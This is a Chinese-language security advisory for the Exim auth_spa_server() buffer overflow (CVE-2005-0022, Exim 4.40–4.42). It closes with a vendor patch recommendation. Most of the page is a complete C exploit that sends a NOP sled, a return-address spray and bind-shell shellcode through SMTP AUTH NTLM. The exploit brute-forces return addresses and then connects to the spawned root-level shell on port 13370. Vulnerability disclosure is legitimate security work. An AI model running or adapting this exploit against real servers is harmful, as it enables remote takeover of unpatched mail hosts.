安全研究

安全漏洞
Exim auth_spa_server()缓冲区溢出漏洞

发布日期:2005-01-07
更新日期:2005-02-04

受影响系统:
University of Cambridge Exim 4.42
University of Cambridge Exim 4.41
University of Cambridge Exim 4.40
不受影响系统:
University of Cambridge Exim 4.43
描述:
BUGTRAQ  ID: 12188
CVE(CAN) ID: CVE-2005-0022

Exim是一款流行的EMAIL服务器(MTA)。

Exim auth_spa_server function函数中存在一个边界检查不充分问题,远程攻击者可以利用这个漏洞对程序进行缓冲区溢出攻击,可能以进程权限执行任意指令。

Exim auth_spa_server function函数对传递给spa_base64_to_bits()的输入长度缺少充分检查,此函数用于解码BASE64编码字符串并传递到一个固定长度的缓冲区中,字符串可由用户控制,精心提交输入数据可能以exim进程权限执行任意指令。

此漏洞需要AUTH_SPA=yes验证方式开启的情况下才存在。

<*来源:iDEFENSE Security Advisory (labs@idefense.com
  
  链接:http://www.idefense.com/application/poi/display?id=178&type=vulnerabilities&flashstatus=true
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* ecl-eximspa.c
* Yuri Gushin <yuri@eclipse.org.il>
*
* Howdy :)
* This is pretty straightforward, an exploit for the recently
* discovered vulnerability in Exim's (all versions prior to and
* including 4.43) SPA authentication code - spa_base64_to_bits()
* will overflow a fixed-size buffer since there's no decent
* boundary checks before it in auth_spa_server()
*
* Greets fly out to the ECL crew, Alex Behar, Valentin Slavov
* blexim, manevski, elius, shrink, and everyone else who got left
* out :D
*
*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <arpa/inet.h>

#define SC_PORT 13370
#define NOP 0xfd

struct {
  char *name;
  int retaddr;
} targets[] = {
  { "Bruteforce", 0xbfffffff },
  { "Debian Sarge exim4-daemon-heavy_4.34-9", 0xbfffed00 },
};

char sc[] = // thank you metasploit, skape, vlad902
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";

struct {
  struct sockaddr_in host;
  int target;
  int offset;
  u_short wait;
} options;

static int brutemode;

int connect_port(u_short port);
void init_SPA(int sock);
void exploit(int sock, int address);
void shell(int sock);
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen);
void parse_options(int argc, char **argv);
void usage(char *cmd);
void banner(void);

int main(int argc, char **argv)
{
  int address, sock_smtp, sock_shell;

  banner();
  parse_options(argc, argv);
  address = targets[options.target].retaddr - options.offset;
  brutemode = 0;

bruteforce:

  if (!brutemode)
    {
      printf("[*] Connecting to %s:%d... ",
         inet_ntoa(options.host.sin_addr), ntohs(options.host.sin_port));
      fflush(stdout);
    }

  sock_smtp = connect_port(ntohs(options.host.sin_port));

  if (!brutemode)
    {
      if (!sock_smtp)
    {
      printf("failed.\n\n");
      exit(-1);
    }
      printf("success.\n");
    }

  init_SPA(sock_smtp);
  exploit(sock_smtp, address);
  close(sock_smtp);

  printf("[*] Target: %s - 0x%.8x\n", targets[options.target].name, address);
  printf("[*] Exploit sent, spawning a shell... ");
  fflush(stdout);

  sleep(1); // patience grasshopper
  sock_shell = connect_port(SC_PORT);

  if (!sock_shell && options.target)
    {
      printf("failed.\n\n");
      exit(-1);
    }
  if (!sock_shell)
    {
      printf("failed.\n\n");
      address -= 1000 - strlen(sc);
      brutemode = 1;
      if (options.wait) sleep(options.wait);
      goto bruteforce;
    }
  printf("success!\n\nEnjoy your shell :)\n\n");
  shell(sock_shell);

  return 0;
}

int connect_port(u_short port)
{
  int sock;
  struct sockaddr_in host;

  memcpy(&host, &options.host, sizeof(options.host));
  host.sin_port = ntohs(port);

  if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
      return 0;
  if(connect(sock, (struct sockaddr *)&host, sizeof(host)) < 0)
    {
      close(sock);
      return 0;
    }

  return sock;
}

void init_SPA(int sock)
{
  char buffer[1024];

  memset(buffer, 0, sizeof(buffer));
  if (!read(sock, buffer, sizeof(buffer)))
    err(-1, "read");
  buffer[255] = '\0';

  if (!brutemode)
    printf("[*] Server banner: %s", buffer);

  write(sock, "EHLO ECL.PWNZ.J00\n", 18);
  memset(buffer, 0, sizeof(buffer));
  if (!read(sock, buffer, sizeof(buffer)))
    err(-1, "read");
  else
    if (!brutemode && (!strstr(buffer, "NTLM")))
      printf("[?] Server doesn't seem to support SPA, trying anyway\n");
  write(sock, "AUTH NTLM\n", 10);
  memset(buffer, 0, sizeof(buffer));
  if (!read(sock, buffer, sizeof(buffer)))
    err(-1, "read");
  else
    if (!brutemode && (!strstr(buffer, "334")))
      {
        printf("[!] SPA unsupported! Server responds: %s\n\n", buffer);
        exit(1);
      }
  if (!brutemode) printf("[*] SPA (NTLM) supported\n");
}

void exploit(int sock, int address)
{
  char exp[2000], exp_base64[2668];
  int *address_p;
  int i;

  memset(exp, NOP, 1000);
  memcpy(&exp[1000]-strlen(sc), sc, strlen(sc));
  address_p = (int *)&exp[1000];
  for (i=0; i<1000; i+=4)
    *(address_p++) = address;
  spa_bits_to_base64(exp_base64, exp, sizeof(exp));

  write(sock, exp_base64, sizeof(exp_base64));
  write(sock, "\n", 1);
}

void shell(int sock)
{
  int n;
  fd_set fd;
  char buff[1024];

  write(sock,"uname -a;id\n",12);

  while(1)
    {
    
      FD_SET(sock, &fd);
      FD_SET(0, &fd);

      select(sock+1, &fd, NULL, NULL, NULL);

      if( FD_ISSET(sock, &fd) )
        {
          n = read(sock, buff, sizeof(buff));
          if (n < 0) err(1, "remote read");
          write(1, buff, n);
        }

      if ( FD_ISSET(0, &fd) )
        {
          n = read(0, buff, sizeof(buff));
          if (n < 0) err(1, "local read");
          write(sock, buff, n);
        }
    }    
}

char base64digits[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen)
{
  for (; inlen >= 3; inlen -= 3)
    {
      *out++ = base64digits[in[0] >> 2];
      *out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)];
      *out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)];
      *out++ = base64digits[in[2] & 0x3f];
      in += 3;
    }
  if (inlen > 0)
    {
      unsigned char fragment;

      *out++ = base64digits[in[0] >> 2];
      fragment = (in[0] << 4) & 0x30;
      if (inlen > 1)
        fragment |= in[1] >> 4;
      *out++ = base64digits[fragment];
      *out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c];
      *out++ = '=';
    }
  *out = '\0';
}

void parse_options(int argc, char **argv)
{
  int ch;
  struct hostent *hn;

  memset(&options, 0, sizeof(options));

  options.host.sin_family = AF_INET;
  options.host.sin_port = htons(25);
  options.target = -1;
  options.wait = 1;

  while (( ch = getopt(argc, argv, "h:p:t:o:w:")) != -1)
    switch(ch)
      {
      case 'h':
        if ( (hn = gethostbyname(optarg)) == NULL)
          errx(-1, "Unresolvable address\n");
        memcpy(&options.host.sin_addr, hn->h_addr, hn->h_length);
        break;
      case 'p':
        options.host.sin_port = htons((u_short)atoi(optarg));
        break;
      case 't':
        if ((atoi(optarg) > (sizeof(targets)/8-1) || (atoi(optarg) < 0)))
          errx(-1, "Bad target\n");
        options.target = atoi(optarg);
        break;
      case 'o':
        options.offset = atoi(optarg);
        break;
      case 'w':
        options.wait = (u_short)atoi(optarg);
        break;
      case '?':
    exit(1);
      default:
        usage(argv[0]);
      }

  if (!options.host.sin_addr.s_addr || (options.target == -1) )
    usage(argv[0]);
}

void usage(char *cmd)
{
  int i;

  printf("Usage: %s [ -h host ] [ -p port ] [ -t target ] [ -o offset ] [ -w wait ]\n\n"
     "\t-h: remote host\n"
     "\t-p: remote port\n"
     "\t-t: target return address (see below)\n"
     "\t-o: return address offset\n"
     "\t-w: seconds to wait before bruteforce reconnecting\n\n",
     cmd);
  printf("Targets:\n");
  for (i=0; i<(sizeof(targets)/8); i++)
    printf("%d - %s (0x%.8x)\n", i, targets[i].name, targets[i].retaddr);
  printf("\n");
  exit(1);
}

void banner(void)
{
  printf("\t\tExim <= 4.43 SPA authentication exploit\n"
         "\t\t   Yuri Gushin <yuri@eclipse.org.il>\n"
         "\t\t\t       ECL Team\n\n\n");
}

建议:
厂商补丁:

University of Cambridge
-----------------------
下载使用Exim release 4.43:

http://www.exim.org/mail-archives/exim-announce/2005/msg00000.html

浏览次数:3042
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障